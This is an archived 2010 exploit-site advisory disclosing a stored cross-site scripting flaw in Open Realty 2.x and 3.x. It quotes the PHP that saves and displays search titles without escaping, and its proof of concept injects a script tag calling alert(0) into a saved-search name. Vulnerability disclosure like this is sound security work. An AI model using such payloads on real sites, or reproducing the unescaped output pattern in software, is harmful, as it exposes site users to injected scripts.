<!DOCTYPE HTML PUBLIC ‘-//W3C//DTD HTML 4.01 Transitional//EN’><html><head><meta http-equiv=’Content-Type’ content=’text/html; charset=windows-1251′><title>Open Realty 2.x and 3.x Persistent XSS Vulnerability</title><link rel=’shortcut icon’ href=’/favicon.ico’ type=’image/x-icon’><link rel=’alternate’ type=’application/rss+xml’ title=’Inj3ct0r RSS’ href=’/rss’></head><body><pre>====================================================
Open Realty 2.x and 3.x Persistent XSS Vulnerability
====================================================

# Author: K053 &lt;K053.dev0te3 at gmail&gt;
# Date: 2010-7-24
# Hompage: http://open-realty.org
# Download Link: http://www.open-realty.org/download.html
# Version: 3.x &amp; 2.x &lt; seems all version &gt;
======================================================================================================
Detail :
========

function save_search(){
…
…

// $title contain user supplied serach result name which save in DB without any input validation

if ($num_columns == 0) {
$sql = &quot;INSERT INTO &quot; . $config['table_prefix'] . &quot;usersavedsearches
(userdb_id, usersavedsearches_title, usersavedsearches_query_string,
usersavedsearches_last_viewed,usersavedsearches_new_listings,usersavedsearches_notify)
VALUES ($userID, $title, $query,now(),0, $notify)&quot;;
…
…
}
function view_saved_searches()
{
…
…
else {
while (!$recordSet-&gt;EOF) {
$title = $misc-&gt;make_db_unsafe($recordSet-&gt;fields['usersavedsearches_title']);
if ($title == ”) {
$title = $lang['saved_search'];
}
$display .= ‘&lt;a href=&quot;index.php?action=searchresults&amp;’ . $misc-&gt;make_db_unsafe
($recordSet-&gt;fields['usersavedsearches_query_string']) . ‘&quot;&gt;’ . $title . ‘&lt;/a&gt;
&lt;div class=&quot;note&quot;&gt;&lt;a href=&quot;index.php?action=delete_search&amp;
searchID=’ . $misc-&gt;make_db_unsafe($recordSet-&gt;fields['usersavedsearches_id']) . ‘&quot;
onclick=&quot;return confirmDelete()&quot;&gt;’ . $lang['delete_search'] . ‘&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;’;

$recordSet-&gt;MoveNext();
}
}
}else {
$display = $status;
}

// and no output validation, $display passed immediately

return $display;
======================================================================================================
POC :
=====
load http://address/index.php?action=save_search &lt; note some parameter set by passed url &gt;
in textbox enter &lt;script&gt;alert(0)&lt;/scritp&gt;.

load http://address/index.php?action=view_saved_searches to view result
______________________________________________________________________________________________________
~Blackout Frenzy [http://b0f.ir]

# <a href=’http://inj3ct0r.com/’>Inj3ct0r.com</a> [2010-07-24]</pre><script type=’text/javascript’>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src=’" + gaJsHost + "google-analytics.com/ga.js’ type=’text/javascript’%3E%3C/script%3E"));</script><script type=’text/javascript’>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>
Source: http://inj3ct0r.com/exploits/13462